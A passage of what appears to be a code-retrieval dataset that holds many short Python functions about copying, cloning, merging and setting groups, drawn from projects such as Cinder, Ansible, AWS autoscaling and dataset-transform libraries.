self.run_hooks('modify_body_for_update', body,\n 'consistencygroup-from-src')\n resp, body = self.api.client.post(\n \"/consistencygroups/create_from_src\", body=body)\n return common_base.DictWithMeta(body['consistencygroup'], resp)","def set_group(self, data, group, intg, dq=None):\n # TODO: Include a 2-D DQ array to be combined with the GROUPDQ array\n #\n # Copy the input data to a 2-D plane for this group/intg combination.\n # NOTE: This only works if data array is broadcastable so the shape\n # of the data array is checked.\n #\n data = np.asarray(data, dtype=self.data.dtype)\n detector_shape = (self.rows, self.columns)\n if data.shape == detector_shape:\n self.data[intg, group, :, :] = data \n # Invalidate the averaged data\n self._data_averaged = None\n # Update the group data quality array if necessary.\n if dq is not None:\n if self.include_groupdq:\n dq = np.asarray(dq, dtype=self.groupdq.dtype) # Convert to same data type.\n self.groupdq[intg, group, :, :] |= dq\n else:\n strg = \"Incompatible arguments. A groupdq array is \"\n strg += \"provided when include_groupdq=False. \"\n strg += \"The array is ignored.\"\n LOGGER.error(strg)\n else:\n strg = \"Group data array has the wrong shape \"\n strg += \"(%s instead of %s).\" % (str(data.shape),\n str(detector_shape))\n raise TypeError(strg)","def with_group(self, group):\n\t\tself.variables['group'] = group\n\t\treturn self","def clone( m, orig):\r\n if m.ObjType not in (1, 6): return\r\n if not orig: return\r\n \r\n if m.ObjType == 6: # Target is a Folder\r\n if orig.ObjType == 6: cloned = m.CopyFolderDisp( orig) # Orig is Folder too\r\n else: cloned = m.CopyFCODisp( orig) # Orig is FCO\r\n elif m.ObjType == 1:\r\n cloned = m.CopyFCODisp( orig, metaRole( orig)) # Target is Model, Orig is FCO\r\n \r\n if cloned:\r\n \tcloned.Name = \"Cloned\" + orig.Name\r\n return cloned","def copy_(self, other):\n self.share.copy_(other.share)\n self.encoder = other.encoder","def clone(self):","def test_convert_to_existing_group2(self, inventoryloader):\n inventoryloader.convert_group('glance_api', 'glance_all')\n inventoryloader.convert_group('glance_registry', 'glance_all')\n assert 'glance_api' not in inventoryloader.groups\n assert 'glance_registry' not in inventoryloader.groups\n assert not inventoryloader.groups['glance_all'].has_group('glance_api')\n assert not inventoryloader.groups['glance_all'].has_group('glance_registry')\n assert inventoryloader.groups['glance_all'].has_host('localhost')\n assert inventoryloader.groups['glance_all'].has_host('localhost2')\n assert \"management_bridge\" in inventoryloader.groups['glance_all'].vars","def group(self, group):\n\n self._group = group","def group(self, group):\n\n self._group = group","def group(self, group):\n\n self._group = group","def deep_copy_molecule(molecule1, molecule2):\n molecule1.DeepCopyStructure(molecule2)","def test_replace_group(self):\n pass","def change_grp_all_f(src,dst):\n\tcopytree2(src,dst)\n\trm_dirs(src)\n\treturn 0","def copy(self):\n pass","def copy(self):\n pass","def copy(self):\n pass","def copy_layer(D, layer = 1, new_layer = 2):\n D_copied_layer = extract(D, layers = [layer])\n D_copied_layer.flatten(single_layer = new_layer)\n return D_copied_layer","def grp(self, grpNode):\n\t\tself._grp = grpNode","def remove_from_group(self, group):\n\n if self.in_group(group):\n self.secondary_groups.remove(group)\n return self","def set_group(self, group):\n self._group = group","def make_grp(self, name='grp', v=False):\n self.base[name] = self.get_group_array(v=v) #np.zeros(len(self.base), dtype=int)#self.get_group_array()","def add_group(self):\n items = self.group_list.selectedItems()\n for item in items:\n self.parent.add_group_data(item.text())","def copy_graph_ui(self):\n self._graph_copies.append(deepcopy(self._graph))","def make(self):\n numberOfGroups = np.random.randint(1, len(self.getFirstParent().getGroups()))\n secParentGroups = np.random.choice(self.secondParent.getGroups(), numberOfGroups, replace=False)\n groups = []\n allSecElements = []\n numberOfElements = 0\n\n for grpSec in secParentGroups:\n allSecElements += grpSec.getElements()\n\n for grpFst in self.getFirstParent().getGroups():\n numberOfElements += len(grpFst.getElements())\n elements = list(set(grpFst.getElements()) - set(allSecElements))\n group = Group(grpFst.getIndex(), grpFst.getMinElements(), grpFst.getMaxElements())\n group.setElements(elements)\n groups.append(group)\n\n for grpSec in secParentGroups:\n for grpFst in groups:\n if grpSec.getIndex() == grpFst.getIndex():\n grpFst.addElements(grpSec.getElements())\n\n child = Individual(np.zeros(numberOfElements))\n child.setGroups(groups)\n\n return child","def copy(self, name=None):\n new = copy.copy(self)\n new.d = copy.copy(self.d)\n new.name = name if name is not None else self.name\n return new","def clone_asg(client, asg, name, lc_name):\n PARAMS_TO_CLONE = [\n 'MinSize',\n 'MaxSize',\n 'DesiredCapacity',\n 'DefaultCooldown',\n 'AvailabilityZones',\n 'LoadBalancerNames',\n 'HealthCheckType',\n 'HealthCheckGracePeriod',\n 'PlacementGroup',\n 'VPCZoneIdentifier',\n 'TerminationPolicies',\n 'NewInstancesProtectedFromScaleIn',\n ]\n params = {\n key: asg[key] for key in PARAMS_TO_CLONE if key in asg\n }\n params['Tags'] = [{\n 'ResourceId': name,\n 'ResourceType': 'auto-scaling-group',\n 'Key': tag['Key'],\n 'Value': tag['Value'],\n 'PropagateAtLaunch': tag['PropagateAtLaunch'],\n } for tag in asg['Tags']]\n\n client.create_auto_scaling_group(\n AutoScalingGroupName=name,\n LaunchConfigurationName=lc_name,\n **params\n )\n return client.describe_auto_scaling_groups(\n AutoScalingGroupNames=[name]\n )['AutoScalingGroups'][0]","def copy_dim(nc1, nc2, name, direction):\n if (name == direction):\n return\n dim1 = nc1.dimensions[name]\n dim2 = nc2.createDimension(name, len(dim1))","def copy_skel(src, dest):\n md_common.copytree(src, dest)","def _confirm_group(cls):\n if cls.GROUP_NAME in bpy.data.objects:\n return\n #Backup current selection\n selection = ObjectSelection()\n #Create empty object\n bpy.ops.object.empty_add()\n new_group = bpy.context.selected_objects[0]\n new_group.name = cls.GROUP_NAME\n new_group.hide = True\n #Restore selection\n selection.restore()","def test_duplicate_groups(self):\n\n auag = UsersAndGroups()\n\n # create a duplicate with default flag to raise an error.\n auag.add_group(Group(name=\"group1\"))\n with self.assertRaises(Exception):\n auag.add_group(Group(name=\"group1\"))\n\n # create with overwrite.\n auag.add_group(\n Group(name=\"group2\", group_names=[\"group2\"]),\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\n )\n u = auag.get_group(\"group2\")\n self.assertEqual(u.name, \"group2\")\n self.assertEqual(u.groupNames, [\"group2\"])\n\n auag.add_group(\n Group(name=\"group2\", group_names=[\"group3\"]),\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\n )\n u = auag.get_group(\"group2\")\n self.assertEqual(u.name, \"group2\")\n self.assertEqual(u.groupNames, [\"group3\"])\n\n # create with update.\n auag.add_group(\n Group(name=\"group3\", group_names=[\"group2\"]),\n duplicate=UsersAndGroups.OVERWRITE_ON_DUPLICATE,\n )\n u = auag.get_group(\"group3\")\n self.assertEqual(u.name, \"group3\")\n self.assertEqual(u.groupNames, [\"group2\"])\n\n auag.add_group(\n Group(name=\"group3\", group_names=[\"group3\"]),\n duplicate=UsersAndGroups.UPDATE_ON_DUPLICATE,\n )\n u = auag.get_group(\"group3\")\n self.assertEqual(u.groupNames, [\"group2\", \"group3\"])","def set_group(self, group: str) -> None:\n self.group = group","def set_selected_group(self, group_id):\n self.contact_list = self.contacts_by_group_list[group_id - 1][1][1]\n\n\t# Return the contact list so far","def addToGroup(self, frontorback, drawing, svggroup, **extra): \r\n super(byA_FB_SideLine, self).addToGroup(drawing, svggroup, **extra)","def update_from(self, grp_names):\n import GEOM, SMESH\n mesh_types = {\n GEOM.VERTEX : SMESH.NODE,\n GEOM.EDGE : SMESH.EDGE,\n GEOM.WIRE : SMESH.EDGE,\n GEOM.FACE : SMESH.FACE,\n GEOM.SHELL : SMESH.FACE,\n GEOM.SOLID : SMESH.VOLUME,\n GEOM.COMPSOLID : SMESH.VOLUME,\n }\n smesh = self.get_smesh()\n\n\n smesh_grps_MA = []\n smesh_grps_NO = []\n for grp in smesh.GetGroups() :\n if str(grp.GetType()) == 'NODE' :\n smesh_grps_NO.append(grp.GetName())\n else :\n smesh_grps_MA.append(grp.GetName())\n\n print smesh_grps_MA,smesh_grps_NO\n done = False\n for geom in self.give_geom().get_children():\n grp_name = geom.read_name()\n #if grp_name in smesh_grps:\n # continue\n #Modif Fournier\n print grp_name\n if grp_name in grp_names[0]:\n if grp_name in smesh_grps_MA:\n pass\n else :\n mesh_type = mesh_types.get(geom.get_shape_type())\n if mesh_type:\n #smesh.CreateGroup(mesh_type, grp_name)\n smesh.CreateGroupFromGEOM(mesh_type,grp_name,geom.get_sgeom())\n done = True\n if grp_name in grp_names[1]:\n if grp_name in smesh_grps_NO:\n continue\n #smesh.CreateGroup(SMESH.NODE,grp_name)\n smesh.CreateGroupFromGEOM(SMESH.NODE,grp_name,geom.get_sgeom())\n done = True\n return done","def test_group_membership(self):\n entries = {\n 'uid=test,ou=people,dc=esmgquadrivium,dc=nl': {\n 'uid': ['test'],\n },\n 'cn=agroup,ou=groups,dc=esmgquadrivium,dc=nl': {\n 'cn': ['agroup'],\n 'member': ['uid=test,ou=people,dc=esmgquadrivium,dc=nl'],\n }\n }\n clone(entries)\n self.assertEqual(2, QGroup.objects.count()) # 2 groups because there's also a current members group\n self.assertEqual(1, Person.objects.count())\n self.assertEqual(1, Person.objects.first().groups.count())\n self.assertEqual(1, GroupMembership.objects.count())\n membership = GroupMembership.objects.first()\n self.assertIsNone(membership.end)","def gcopy(to_layer, from_layer):\n return [(to_layer,from_layer,'u'), (to_layer,to_layer,'d')]","def group(self, group_id):\r\n return resources.Group(self, group_id)","def copy(self):\n return self.__class__(*self.sets)","def _create_child_group(self, name) -> \"GroupBase\":\n pass","def __mul__(self, other):\n group = self.group\n if not isinstance(other, group.dtype):\n raise TypeError(\"only FreeGroup elements of same FreeGroup can \"\n \"be multiplied\")\n if self.is_identity:\n return other\n if other.is_identity:\n return self\n r = list(self.array_form + other.array_form)\n zero_mul_simp(r, len(self.array_form) - 1)\n return group.dtype(tuple(r))","def set_group(self, address, group):\n self.groups[address] = group","def slotGroupEdit(self):\n dialog = GroupDialog(self)\n if dialog.exec_loop() == QDialog.Accepted:\n if dialog.group_id != None:\n # set group\n self.sampleGroup.globalGroupId = dialog.group_id\n self.groupLabel.setText(dialog.group_id)\n else:\n # ungroup\n self.sampleGroup.globalGroupId = None\n self.groupLabel.setText('Not\\nGrouped')\n self.emit(PYSIGNAL('groupChanged'), (self,))","def copy(self):\n \n \n G = DiGraph()\n G.node_set = copy.deepcopy(self.node_set)\n G.prefix = copy.deepcopy(self.prefix)\n G.suffix = copy.deepcopy(self.suffix)\n G.num_node = copy.deepcopy(self.num_node)\n G.edges = copy.deepcopy(self.edges)\n \n return G","def copy(self, deck):\n self.add_cards(deck.get_cards())","def clone(name1, name2):\n if not SchModule._ready:\n raise ValueError(\"not mounted\")\n\n schdir1 = SchModule.DIR.hpath(name1)\n schdir2 = SchModule.DIR.hpath(name2)\n\n if not path.exists(schdir1):\n raise Exception(\"Source scheme does not exist\")\n if path.exists(schdir2):\n raise Exception(\"Destination scheme already exists\")\n\n # copy unmodified files\n shutil.copytree(schdir1, schdir2)\n # modify descr-file\n descr2 = path.join(schdir2, SchModule.DESCR)\n dc = DotCfg()\n with codecs.open(descr2, \"r\", encoding=\"utf8\") as f:\n dc.parse(f)\n par = dc.get(u\"date\")\n if par:\n par.value = time.strftime(\"%Y-%m-%d %H:%M:%S\")\n par = dc.get(u\"author\")\n if par:\n par.value = os.getenv(\"USER\", os.getenv(\"USERNAME\", \"Unknown\"))\n dc.flush()","def remove_current_transform_group(self):\n datacopy = self._shallow_clone_dataset()\n fdata = datacopy._flat_data\n datacopy._flat_data = fdata.remove_current_transform_group()\n return datacopy"],"string":"[\n \"def copy_group(self):\\n dd = self.destination_directory\\n sg = self.source_group\\n dg = self.destination_group\\n\\n data = {\\n 'description': sg.description,\\n 'name': sg.name,\\n 'status': sg.status,\\n }\\n\\n # If this Group already exists, we'll just update it.\\n if dg:\\n for key, value in data.items():\\n setattr(dg, key, value)\\n\\n while True:\\n try:\\n dg.save()\\n return dg\\n except StormpathError as err:\\n logger.error('Failed to copy Group: {} into Directory: {} ({})'.format(sg.name.encode('utf-8'), dd.name.encode('utf-8'), err))\\n\\n # If we get here, it means we need to create the Group from scratch.\\n while True:\\n try:\\n return dd.groups.create(data)\\n except StormpathError as err:\\n logger.error('Failed to copy Group: {} into Directory: {} ({})'.format(sg.name.encode('utf-8'), dd.name.encode('utf-8'), err))\",\n \"def copy(\\n self,\\n vmf: Optional[VMF] = None,\\n group_mapping: MutableMapping[int, int] = EmptyMapping,\\n des_id: int = -1,\\n ) -> 'VisGroup':\\n newgroup = VisGroup(\\n vmf or self.vmf,\\n self.name,\\n des_id,\\n self.color.copy(),\\n [\\n child.copy(vmf, group_mapping)\\n for child in self.child_groups\\n ],\\n )\\n group_mapping[self.id] = newgroup.id\\n return newgroup\",\n \"def clone(self):\\n return _libsbml.Group_clone(self)\",\n \"def migrate(self):\\n self.destination_group = self.get_destination_group()\\n self.destination_group = self.copy_group()\\n self.copy_custom_data()\\n\\n logger.info('Successfully copied Group: {}'.format(self.destination_group.name.encode('utf-8')))\\n return self.destination_group\",\n \"def copy(cls, group: 'Group') -> 'Group':\\n from apps.enrollment.courses.models.term import Term\\n from apps.schedulersync.models import TermSyncData\\n\\n def copy_term(t: Term) -> Term:\\n classrooms = list(t.classrooms.all())\\n term_sync_data: TermSyncData = list(t.termsyncdata_set.all())\\n t.pk = None\\n t.save()\\n t.classrooms.set(classrooms)\\n for tsd in term_sync_data:\\n tsd.pk = None\\n tsd.term = t\\n tsd.save()\\n return t\\n\\n copied_terms = [copy_term(t) for t in group.term.all()]\\n copy = cls.objects.get(pk=group.pk)\\n copy.pk = None\\n copy.save()\\n copy.term.set(copied_terms)\\n return copy\",\n \"async def mergegroup(self, ctx, original_group_id: int, duplicate_group_id: int):\\n original_group = await ex.get_group(original_group_id)\\n duplicate_group = await ex.get_group(duplicate_group_id)\\n if not duplicate_group:\\n return await ctx.send(f\\\"> {duplicate_group_id} could not find a Group.\\\")\\n if not original_group:\\n return await ctx.send(f\\\"> {original_group} could not find a Group.\\\")\\n # move aliases\\n await ex.conn.execute(\\\"UPDATE groupmembers.aliases SET objectid = $1 WHERE isgroup = $2 AND objectid = $3\\\", original_group.id, 1, duplicate_group.id)\\n for member_id in duplicate_group.members:\\n if member_id not in original_group.members:\\n # update the member location to the original group\\n await ex.conn.execute(\\\"UPDATE groupmembers.idoltogroup SET groupid = $1 WHERE idolid = $2 AND groupid = $3\\\", original_group.id, member_id, duplicate_group.id)\\n # delete group\\n await ex.conn.execute(\\\"DELETE FROM groupmembers.groups WHERE groupid = $1\\\", duplicate_group.id)\\n # recreate cache\\n await ex.create_idol_cache()\\n await ex.create_group_cache()\\n await ctx.send(f\\\"> Merged {duplicate_group_id} to {original_group_id}.\\\")\",\n \"def spinecopy(sygroup_):\\n copy = type(sygroup_)(sygroup_.container_type)\\n visitor = SpineCopyVisitor(copy)\\n sygroup_.visit(visitor)\\n return copy\",\n \"def clone(self):\\n return _libsbml.GroupsExtension_clone(self)\",\n \"def _add_group(self, group):\\n\\n if group.name not in self.groups:\\n # it's brand new, add him!\\n self.groups[group.name] = group\\n if self.groups[group.name] != group:\\n # different object, merge\\n self._merge_groups(self.groups[group.name], group)\",\n \"def test_drag_group_into_group(self):\\r\\n expected_ordering = [{self.container_title: [self.group_a, self.group_empty]},\\r\\n {self.group_a: [self.group_b, self.group_a_item_1, self.group_a_item_2]},\\r\\n {self.group_b: [self.group_b_item_1, self.group_b_item_2]},\\r\\n {self.group_empty: []}]\\r\\n self.drag_and_verify(self.group_b_handle, self.group_a_item_1_handle, expected_ordering)\",\n \"def test_copy_2(dset_full):\\n dset_new = copy.deepcopy(dset_full)\\n\\n # Test internal references in the dataset\\n assert id(dset_new.site_pos.other) == id(dset_new.sat_pos)\\n assert id(dset_new.site_delta.ref_pos) == id(dset_new.site_pos)\\n assert id(dset_new.site_posvel.other) == id(dset_new.sat_posvel)\\n assert id(dset_new.site_posvel_delta.ref_pos) == id(dset_new.site_posvel)\\n\\n assert id(dset_new.group.site_pos.other) == id(dset_new.group.sat_pos)\\n assert id(dset_new.group.site_delta.ref_pos) == id(dset_new.group.site_pos)\\n assert id(dset_new.group.site_posvel.other) == id(dset_new.group.sat_posvel)\\n assert id(dset_new.group.site_posvel_delta.ref_pos) == id(dset_new.group.site_posvel)\\n\\n # Verify that new dataset have different references than original object\\n for field_name, field in dset_full._fields.items():\\n assert id(field.data) != id(dset_new._fields[field_name].data)\\n try:\\n for group_field_name, group_field in field.data._fields.items():\\n assert id(group_field.data) != id(dset_new._fields[field_name].data._fields[group_field_name].data)\\n except AttributeError:\\n # Field is not a group\\n pass\",\n \"def test_drag_into_different_group(self):\\r\\n expected_ordering = [{self.container_title: [self.group_a, self.group_empty, self.group_b]},\\r\\n {self.group_a: [self.group_b_item_1, self.group_a_item_1, self.group_a_item_2]},\\r\\n {self.group_b: [self.group_b_item_2]},\\r\\n {self.group_empty: []}]\\r\\n self.drag_and_verify(self.group_b_item_1_handle, self.group_a_item_1_handle, expected_ordering)\",\n \"def copy(self):\\n kopy = self.__class__()\\n # Copy the source net\\n kopy.source_net = nx.DiGraph(self.source_net)\\n return kopy\",\n \"def clone(self):\\n return _libsbml.GroupsModelPlugin_clone(self)\",\n \"def clone(self):\\n return _libsbml.ListOfGroups_clone(self)\",\n \"def CopyAllSubElementsTo(self, other_group, ignore):\\n # pylint: disable=protected-access\\n collections_to_update = [\\n (self._groups_to_load, other_group._groups_to_load),\\n (self._commands_to_load, other_group._commands_to_load)]\\n\\n for src, dst in collections_to_update:\\n for name, info in src.iteritems():\\n if name in ignore:\\n continue\\n (module_dir, module_path, name, unused_track) = info\\n dst[name] = (module_dir, module_path, name,\\n other_group.ReleaseTrack())\",\n \"def create_new_group(self, a, b):\\n self.groups[self.group_id] = set([a,b])\\n self.node_id[a] = self.node_id[b] = self.group_id\\n self.group_id += 1\",\n \"def add_to_group(self, group):\\n\\n if not self.in_group(group):\\n self.secondary_groups.append(group)\\n return self\",\n \"def make_grp(self, name='grp'):\\n self.base[name] = self.get_group_array()\",\n \"def save_group_and_return_instance(self, groupname=\\\"\\\"):\\n if groupname == \\\"\\\":\\n raise ValueError(\\\"group needs its name.\\\")\\n group = Group(name=groupname)\\n self.save_object(group)\\n return group\",\n \"def replace_current_transform_group(self, transform):\\n dataset_copy = self.remove_current_transform_group()\\n cgroup = dataset_copy._transform_groups.current_group\\n dataset_copy._transform_groups[cgroup] = transform\\n dds = []\\n for dd in dataset_copy._datasets:\\n if isinstance(dd, _FlatDataWithTransform):\\n dds.append(dd.remove_current_transform_group())\\n else:\\n dds.append(dd)\\n dataset_copy._datasets = dds\\n return dataset_copy\",\n \"def copy(self):\\n return self.__class__(\\n group_list=self.group_list, bits_except_last=self.bits_except_last,\\n max_value=self.max_value\\n )\",\n \"def replace_current_transform_group(self, transform):\\n datacopy = self._shallow_clone_dataset()\\n fdata = datacopy._flat_data\\n datacopy._flat_data = fdata.replace_current_transform_group(transform)\\n return datacopy\",\n \"def _merge_groups(self, group, newgroup):\\n\\n # name\\n if group.name != newgroup.name:\\n raise errors.AnsibleError(\\\"Cannot merge group %s with %s\\\" % (group.name, newgroup.name))\\n\\n # depth\\n group.depth = max([group.depth, newgroup.depth])\\n\\n # hosts list (host objects are by now already added to self.hosts)\\n for host in newgroup.hosts:\\n grouphosts = dict([(h.name, h) for h in group.hosts])\\n if host.name in grouphosts:\\n # same host name but different object, merge\\n self._merge_hosts(grouphosts[host.name], host)\\n else:\\n # new membership, add host to group from self\\n # group from self will also be added again to host.groups, but\\n # as different object\\n group.add_host(self.hosts[host.name])\\n # now remove this the old object for group in host.groups\\n for hostgroup in [g for g in host.groups]:\\n if hostgroup.name == group.name and hostgroup != self.groups[group.name]:\\n self.hosts[host.name].groups.remove(hostgroup)\\n\\n\\n # group child membership relation\\n for newchild in newgroup.child_groups:\\n # dict with existing child groups:\\n childgroups = dict([(g.name, g) for g in group.child_groups])\\n # check if child of new group is already known as a child\\n if newchild.name not in childgroups:\\n self.groups[group.name].add_child_group(newchild)\\n\\n # group parent membership relation\\n for newparent in newgroup.parent_groups:\\n # dict with existing parent groups:\\n parentgroups = dict([(g.name, g) for g in group.parent_groups])\\n # check if parent of new group is already known as a parent\\n if newparent.name not in parentgroups:\\n if newparent.name not in self.groups:\\n # group does not exist yet in self, import him\\n self.groups[newparent.name] = newparent\\n # group now exists but not yet as a parent here\\n self.groups[newparent.name].add_child_group(group)\\n\\n # variables\\n group.vars = utils.combine_vars(group.vars, newgroup.vars)\",\n \"def copy(self, vmf: Optional[VMF] = None) -> 'EntityGroup':\\n if vmf is None:\\n vmf = self.vmf\\n\\n return EntityGroup(\\n vmf,\\n self.id,\\n self.shown,\\n self.auto_shown,\\n self.color.copy(),\\n )\",\n \"def copy_all_except_candidates(self):\\n groupcopy = AssignmentGroup(parentnode=self.parentnode,\\n name=self.name,\\n is_open=self.is_open,\\n delivery_status=self.delivery_status)\\n groupcopy.full_clean()\\n groupcopy.save()\\n for examiner in self.examiners.all():\\n groupcopy.examiners.create(relatedexaminer=examiner.relatedexaminer)\\n for tagobj in self.tags.all():\\n groupcopy.tags.create(tag=tagobj.tag)\\n return groupcopy\",\n \"def with_transforms(self: TDataWTransform, group_name: str) -> TDataWTransform:\\n datacopy = self._shallow_clone_dataset()\\n datacopy._frozen_transform_groups.with_transform(group_name)\\n datacopy._transform_groups.with_transform(group_name)\\n return datacopy\",\n \"def pick_grom_group(group, other, selected):\\n\\treturn Faction(over(group, selected), over(group + other, selected))\",\n \"def add_to_group(self, org, contact, group):\\n pass\",\n \"def copy(self):\",\n \"def copy(self):\\n \\n # copying profs and groups to avoid pointer troubles\\n profs_copy = []\\n groups_copy = []\\n \\n # to make it easy to use the same copy\\n # a bit of a convoluted solution but for now it works\\n getting_group_by_name = {}\\n \\n for prof in self.professors:\\n profs_copy.append( prof.copy() )\\n \\n for group in self.groups:\\n cp = group.copy()\\n groups_copy.append( cp )\\n getting_group_by_name[ group.get_name() ] = cp\\n \\n cp = Schedule( profs_copy, groups_copy, self.num_days, self.num_rooms, self.max_num_students_in_room )\\n \\n \\n for day_number in range(len(self.days)):\\n \\n for prof_name, group_list in self.days[day_number].items():\\n \\n if not prof_name in cp.days[day_number]:\\n cp.days[day_number][prof_name] = []\\n \\n for group in group_list:\\n cp.days[day_number][prof_name].append( getting_group_by_name[ group.get_name() ] )\\n \\n \\n \\n return cp\",\n \"def copy_(self, other):\\n raise NotImplementedError(\\\"copy_ is not implemented\\\")\",\n \"def test_mergeGroups(self):\\n tabs = [\\n widgets.Tab(u'id1', u'Title 1', None),\\n widgets.Tab(u'id2', u'Title 2', None)]\\n tabGroup1 = widgets.TabGroup(u'id', u'Title', tabs=tabs)\\n tabs = [\\n widgets.Tab(u'id3', u'Title 3', None)]\\n tabGroup2 = widgets.TabGroup(u'id', u'Hello', tabs=tabs)\\n\\n newGroup = widgets.TabGroup.mergeGroups(tabGroup1, tabGroup2)\\n self.assertEquals(newGroup.id, u'id')\\n self.assertEquals(newGroup.title, u'Hello')\\n self.assertEquals(newGroup.tabs, tabGroup1.tabs + tabGroup2.tabs)\",\n \"def register_group(self, group):\\n if group.name in self._groups:\\n return\\n\\n self._groups[group.name] = copy.copy(group)\",\n \"def add_move_group_combining_others(self, new_group_name, existing_group_names=None):\\n new_group = xml.dom.minidom.Document().createElement('group')\\n new_group.setAttribute(\\\"name\\\", new_group_name)\\n for existing_group_name in existing_group_names:\\n new_group.appendChild(xml.dom.minidom.Document().createElement(f'group name=\\\"{existing_group_name}\\\"'))\\n new_group.writexml(self.new_robot_srdf, indent=\\\" \\\", addindent=\\\" \\\", newl=\\\"\\\\n\\\")\",\n \"def copy(self):\\n return self.__class__(\\n self.kind, self.link_ids.copy(), self.included_nodes.copy(), self.mass,\\n self.name, self.crossring_cleavages.copy(), self.composition.copy())\",\n \"def __sub__(self, other):\\n return TrajectoryGroup(HyGroup.__sub__(self, other))\",\n \"def execute(self, context):\\n\\n # go to subtree, select all except input and output groups and mark nodes to be copied\\n group_node = context.active_node\\n sub_tree = group_node.group_tree\\n\\n if len(self.conflicts) > 0:\\n self._resolve_conflicts(sub_tree, group_node.get_tree())\\n\\n bpy.ops.arm.edit_group_tree(node_index=group_node.get_id_str())\\n [setattr(n, 'select', False) for n in sub_tree.nodes]\\n group_nodes_filter = filter(lambda n: n.bl_idname not in {'LNGroupInputsNode', 'LNGroupOutputsNode'}, sub_tree.nodes)\\n for node in group_nodes_filter:\\n node.select = True\\n node['sub_node_name'] = node.name # this will be copied within the nodes\\n\\n # the attribute should be empty in destination tree\\n tree = context.space_data.path[-2].node_tree\\n for node in tree.nodes:\\n if 'sub_node_name' in node:\\n del node['sub_node_name']\\n\\n # Frames can't be just copied because they do not have absolute location, but they can be recreated\\n frame_names = {n.name for n in sub_tree.nodes if n.select and n.bl_idname == 'NodeFrame'}\\n [setattr(n, 'select', False) for n in sub_tree.nodes if n.bl_idname == 'NodeFrame']\\n\\n if any(n for n in sub_tree.nodes if n.select): # if no selection copy operator will raise error\\n # copy and past nodes into group tree\\n bpy.ops.node.clipboard_copy()\\n context.space_data.path.pop()\\n bpy.ops.node.clipboard_paste() # this will deselect all and select only pasted nodes\\n\\n # move nodes in group node center\\n tree_select_nodes = [n for n in tree.nodes if n.select]\\n center = reduce(lambda v1, v2: v1 + v2,\\n [Vector(ArmLogicTreeNode.absolute_location(n)) for n in tree_select_nodes]) / len(tree_select_nodes)\\n [setattr(n, 'location', n.location - (center - group_node.location)) for n in tree_select_nodes]\\n\\n # recreate frames\\n node_name_mapping = {n['sub_node_name']: n.name for n in tree.nodes if 'sub_node_name' in n}\\n ArmAddGroupTreeFromSelected.recreate_frames(sub_tree, tree, frame_names, node_name_mapping)\\n else:\\n context.space_data.path.pop() # should exit from subtree anywhere\\n\\n # delete group node\\n tree.nodes.remove(group_node)\\n for node in tree.nodes:\\n if 'sub_node_name' in node:\\n del node['sub_node_name']\\n\\n tree.update()\\n\\n return {'FINISHED'}\",\n \"def test_rsync_set_group(self):\\n \\n root = tempfile.mkdtemp(prefix=\\\"rsync_test_set_group_\\\")\\n avail_groups = os.getgroups()\\n exp_group = grp.getgrgid(avail_groups[random.randint(1,len(avail_groups))-1])[0]\\n \\n # Create some files to move\\n to_copy = self._create_test_files(root)\\n \\n # Run rsync\\n with open(os.devnull, 'w') as f:\\n old_stdout = sys.stdout\\n sys.stdout = f\\n rsync_files(to_copy,sys.stdout,exp_group,False)\\n sys.stdout = old_stdout\\n \\n # Verify the copy process set the correct group on created directories\\n for ddir in set([d[1] for d in to_copy]):\\n gid = os.stat(ddir).st_gid\\n obs_group = grp.getgrgid(gid)[0]\\n self.assertEqual(obs_group,\\n exp_group,\\n \\\"Failed to set group '{}' on directory. Group is {}\\\".format(exp_group,\\n obs_group))\\n \\n # Verify the copy process set the correct group\\n for src, ddir, dname in to_copy:\\n dfile = os.path.join(ddir,dname)\\n gid = os.stat(dfile).st_gid\\n obs_group = grp.getgrgid(gid)[0]\\n self.assertEqual(obs_group,\\n exp_group,\\n \\\"Failed to set group '{}' on file. Group is {}\\\".format(exp_group,\\n obs_group))\",\n \"def _shallow_clone_dataset(self: TDataWTransform) -> TDataWTransform:\\n dataset_copy = copy.copy(self)\\n dataset_copy._transform_groups = copy.copy(dataset_copy._transform_groups)\\n dataset_copy._frozen_transform_groups = copy.copy(\\n dataset_copy._frozen_transform_groups\\n )\\n return dataset_copy\",\n \"def test_060_add_group_to_group(self):\\n\\n testflow.step(\\\"Adding group %s to group %s\\\", TEST_GROUP1, TEST_GROUP2)\\n assert MANAGE_CLI.run(\\n 'groupadd',\\n TEST_GROUP1,\\n group=TEST_GROUP2,\\n )[0], \\\"Failed to add group to group '%s'\\\" % TEST_GROUP1\",\n \"def copy_from(self, other):\\n assert not self.is_final\\n if self.parent is not None:\\n assert other.parent is not None\\n self.parent.copy_from(other.parent)\\n self.isolated_names = copy.copy(other.isolated_names)\\n self.modified = copy.copy(other.modified)\\n self.read = copy.copy(other.read)\\n self.deleted = copy.copy(other.deleted)\\n self.bound = copy.copy(other.bound)\\n self.annotations = copy.copy(other.annotations)\\n self.params = copy.copy(other.params)\",\n \"def paste(self, other):\\n r, g, b, alpha = other.pil_image.split()\\n pil_image = self.pil_image.copy()\\n pil_image.paste(other.pil_image, mask=alpha)\\n return kurt.Image(pil_image)\",\n \"def __copy__(self):\\n return self.parent()([gg for gg in self._g],\\n check=False,\\n mutable=self._mutable)\",\n \"def with_transforms(self: TAvalancheDataset, group_name: str) -> TAvalancheDataset:\\n datacopy = self._shallow_clone_dataset()\\n datacopy._flat_data = datacopy._flat_data.with_transforms(group_name)\\n return datacopy\",\n \"def join_group(self, group: InterphoneGroup) -> None:\\n self._group = group\\n group.register(self)\",\n \"def group(self):\\n raise NotImplementedError()\",\n \"def remove_from_group(self, org, contact, group):\\n pass\",\n \"def group(self, group):\\n self._group = group\",\n \"def deepcopy(D):\\n D_copy = python_copy.deepcopy(D)\\n D_copy.uid = Device._next_uid\\n Device._next_uid += 1\\n D_copy.name = D.name\\n # Make sure _bb_valid is set to false for these new objects so new\\n # bounding boxes are created in the cache\\n for D in D_copy.get_dependencies(True):\\n D._bb_valid = False\\n D_copy._bb_valid = False\\n\\n return D_copy\",\n \"def copy_structure(self, other_directory):\\n pass\",\n \"def createMainGroup(self):\\n\\t\\tmc.group( n = self.grp.name, em = True )\",\n \"def copy( self ):\\n g = type(self)( self.name, self.mesh )\\n g.set_field( self.val )\\n for bc in self.bconds:\\n g.add_boundary_condition( bc )\\n return g\",\n \"def group(self, group):\\n self.proxy_group = group\\n return self\",\n \"def create_from_src(self, cgsnapshot_id, source_cgid, name=None,\\n description=None, user_id=None,\\n project_id=None):\\n 